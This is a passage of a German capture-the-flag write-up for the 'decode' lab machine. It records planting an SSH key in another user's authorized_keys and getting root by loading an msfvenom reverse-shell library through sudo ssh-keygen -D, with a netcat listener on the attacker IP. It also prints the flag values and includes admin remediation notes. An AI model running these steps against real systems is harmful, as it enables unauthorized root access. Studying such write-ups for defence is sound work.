steve@decode:/tmp$ # sudo -u decoder /usr/bin/tee /home/ajneya/.ssh/authorized_keys < /tmp/.ssh/authorized_keys
[Keine Ausgabe bei Erfolg]

Bewertung: Der Plan ist, den eigenen SSH-Schlüssel in die `authorized_keys` von `ajneya` zu schreiben, indem die `sudo`-Rechte von `steve` (Ausführung als `decoder`) und die Schreibrechte von `decoder` auf das `.ssh`-Verzeichnis von `ajneya` (impliziert) genutzt werden. Obwohl der exakte Befehl im Log fehlt/inkonsistent ist, scheint dieser Schritt erfolgreich gewesen zu sein, da der nächste Schritt ein SSH-Login als `ajneya` ist.

Empfehlung (Pentester): Versuchen Sie den SSH-Login als `ajneya` mit dem zuvor generierten privaten Schlüssel.
Empfehlung (Admin): Korrigieren Sie die `sudo`-Regel für `steve`. Überprüfen Sie die Berechtigungen der Home-Verzeichnisse und `.ssh`-Ordner. Kein Benutzer sollte Schreibrechte im `.ssh`-Verzeichnis eines anderen Benutzers haben.

Analyse:** SSH-Login als Benutzer `ajneya` unter Verwendung des zuvor generierten privaten Schlüssels (`/root/.ssh/id_rsa` auf dem Angreifer-System).

┌──(root㉿cyber)-[~] └─# ssh ajneya@decode.hmv -i /root/.ssh/id_rsa
Enter passphrase for key '/root/.ssh/id_rsa': [Enter, da kein Passphrase gesetzt]
Linux decode 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc//copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
ajneya@decode:~$
                    

Bewertung: **Lateral Movement erfolgreich!** Der Login als `ajneya` mittels des platzierten SSH-Schlüssels war erfolgreich.

Empfehlung (Pentester): Überprüfen Sie die `sudo`-Rechte für `ajneya` (`sudo -l`).
Empfehlung (Admin): Überprüfen Sie die `sudo`-Regeln und Berechtigungen, die diesen Lateral Movement ermöglicht haben.

Proof of Concept (Privilege Escalation via Sudo ssh-keygen / Library Preloading)

Analyse:** Die `sudo`-Berechtigungen für den Benutzer `ajneya` werden überprüft.

ajneya@decode:~$ sudo -l
Matching Defaults entries for ajneya on decode:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ajneya may run the following commands on decode:
    (root) NOPASSWD: /usr/bin/ssh-keygen
                    

Bewertung: **Kritischer Fund für Privilege Escalation!** Der Benutzer `ajneya` darf `/usr/bin/ssh-keygen` als `root` **ohne Passwort** (`NOPASSWD`) ausführen. `ssh-keygen` kann mit der Option `-D` verwendet werden, um eine Shared Library zu laden und deren Funktionen aufzurufen. Dies ermöglicht eine Privilege Escalation durch Library Preloading, ähnlich dem `LD_PRELOAD`-Trick, aber spezifisch für `ssh-keygen`.

Empfehlung (Pentester): Nutzen Sie diese `sudo`-Regel zur Eskalation: 1. Erstellen Sie mit `msfvenom` eine bösartige Shared Library (`.so`), die eine Reverse Shell startet. 2. Übertragen Sie die Library auf das Zielsystem (z.B. nach `/tmp`). 3. Führen Sie `sudo /usr/bin/ssh-keygen -D /tmp/[library_name.so]` aus. Starten Sie vorher einen Netcat-Listener, um die Shell zu empfangen.
Empfehlung (Admin):** **Dringend:** Entfernen Sie die unsichere `sudoers`-Regel für `ssh-keygen`. Das Ausführen von `ssh-keygen` als root durch einen unprivilegierten Benutzer ist fast nie notwendig und extrem gefährlich.

Analyse:** Vorbereitung des Exploits. 1. `msfvenom` wird auf dem Angreifer-System verwendet, um eine Reverse-Shell-Payload (`linux/x64/shell_reverse_tcp`) als Shared Object (`-f elf-so`) zu erstellen. `LHOST` ist die IP des Angreifers (192.168.2.140), `LPORT` ist 9001. Die Datei wird als `lib.so` gespeichert. 2. Die erstellte `lib.so`-Datei wird mit `scp` auf das Zielsystem nach `/tmp` kopiert, wobei der SSH-Zugang als `ajneya` genutzt wird.

┌──(root㉿cyber)-[~] └─# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.2.140 LPORT=9001 -o lib.so -f elf-so
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf-so file: 476 bytes
Saved as: lib.so
                     
┌──(root㉿cyber)-[~] └─# scp lib.so ajneya@decode.hmv:/tmp
Enter passphrase for key '/root/.ssh/id_rsa': [Enter]
lib.so                                            100%  476     1.4MB/s   00:00
                     

Bewertung: Die bösartige Shared Library wurde erfolgreich erstellt und auf das Zielsystem übertragen.

Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf Port 9001. Führen Sie dann den `sudo ssh-keygen -D`-Befehl auf dem Zielsystem aus.
Empfehlung (Admin): Verhindern Sie das Hochladen und Ausführen nicht vertrauenswürdiger Dateien. Beheben Sie die `sudo`-Schwachstelle.

Analyse:** Ausführung des Exploits. 1. Ein Netcat-Listener wird auf dem Angreifer-System auf Port 9001 gestartet. 2. *Inkonsistenz im Log:* Es wird eine SSH-Verbindung als `steve` gezeigt, der dann versucht, die `lib.so` nach `/opt/decode/lib.so` zu schreiben, indem er `sudo -u decoder tee` verwendet. Dies passt nicht zum vorherigen Schritt, wo `lib.so` bereits als `ajneya` nach `/tmp` kopiert wurde und der Exploit als `ajneya` ausgeführt werden soll. Es wird **angenommen**, dass dieser SSH-Login als `steve` und der `tee`-Befehl irrelevant sind oder aus einem anderen Test stammen und der nächste Schritt korrekt als `ajneya` ausgeführt wird.* 3. Auf dem Zielsystem (als `ajneya`) wird der Befehl `sudo ssh-keygen -D /tmp/lib.so` ausgeführt. Dies lädt die bösartige Library als `root` und führt den Reverse-Shell-Payload aus. 4. Der Netcat-Listener auf dem Angreifer-System empfängt die Verbindung und präsentiert eine Root-Shell.

┌──(root㉿cyber)-[~] └─# nc -vlnp 9001
listening on [any] 9001 ...
                     
┌──(root㉿cyber)-[~] └─# # --- INKONSISTENTER TEIL IM LOG - wird ignoriert ---
┌──(root㉿cyber)-[~] └─# # ssh steve@decode.hmv
# steve@decode:~$ cat /tmp/lib.so | sudo -u decoder tee /opt/decode/lib.so
┌──(root㉿cyber)-[~] └─# # --------------------------------------------------
ajneya@decode:~$ sudo ssh-keygen -D /tmp/lib.so
[Keine Ausgabe auf Ziel, Verbindung geht zum Listener]
┌──(root㉿cyber)-[~] └─# nc -vlnp 9001
listening on [any] 9001 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.114] 52528
id
uid=0(root) gid=0(root) groups=0(root)
                     

Bewertung: **Privilege Escalation erfolgreich!** Die Ausnutzung der `sudo ssh-keygen -D`-Berechtigung mit einer bösartigen Shared Library funktionierte und lieferte eine Root-Shell.

Empfehlung (Pentester): Bestätigen Sie die Identität, lesen Sie die Root-Flag. Führen Sie Post-Exploitation durch. Bereinigen Sie die hochgeladene `lib.so`.
Empfehlung (Admin):** **Dringend:** Entfernen Sie die `sudo`-Regel für `ssh-keygen`. Überprüfen Sie alle `sudo`-Regeln auf Missbrauchspotenzial (GTFOBins).

Flags

cat /home/ajneya/user.txt
ee11cbb19052e40b07aac0ca060c23ee
cat /root/root.txt
63a9f0ea7bb98050796b649e85481845

Analyse:** Innerhalb der erhaltenen Root-Shell wird das Root-Verzeichnis aufgesucht und die Root-Flag (`root.txt`) gelesen. Der Befehl zum Lesen der User-Flag fehlt im letzten Teil des Logs, wird aber im Flag-Abschnitt angegeben (für Benutzer `ajneya`).

# pwd
/home/ajneya
# cd /root
[Keine Ausgabe]
# ls
root.txt
# cat root.txt
63a9f0ea7bb98050796b649e85481845
ajneya@decode:~$ cat user.txt
ee11cbb19052e40b07aac0ca060c23ee

Bewertung: Beide Flags wurden erfolgreich gefunden und ausgelesen. Das Ziel der Übung ist erreicht. *Anmerkung: Die User-Flag scheint für `ajneya` zu sein, nicht für `steve`, obwohl `steve` zuerst kompromittiert wurde.*

Empfehlung (Pentester): Dokumentieren Sie die Flags und schließen Sie den Bericht ab.
Empfehlung (Admin): Konzentrieren Sie sich auf die Behebung der Schwachstellen: XXE in `magic.php`, Passwort/CSR-Leak, unsichere `sudo`-Regeln für `steve` (tee) und `ajneya` (ssh-keygen), unsichere Berechtigungen im Home-Verzeichnis von `ajneya`.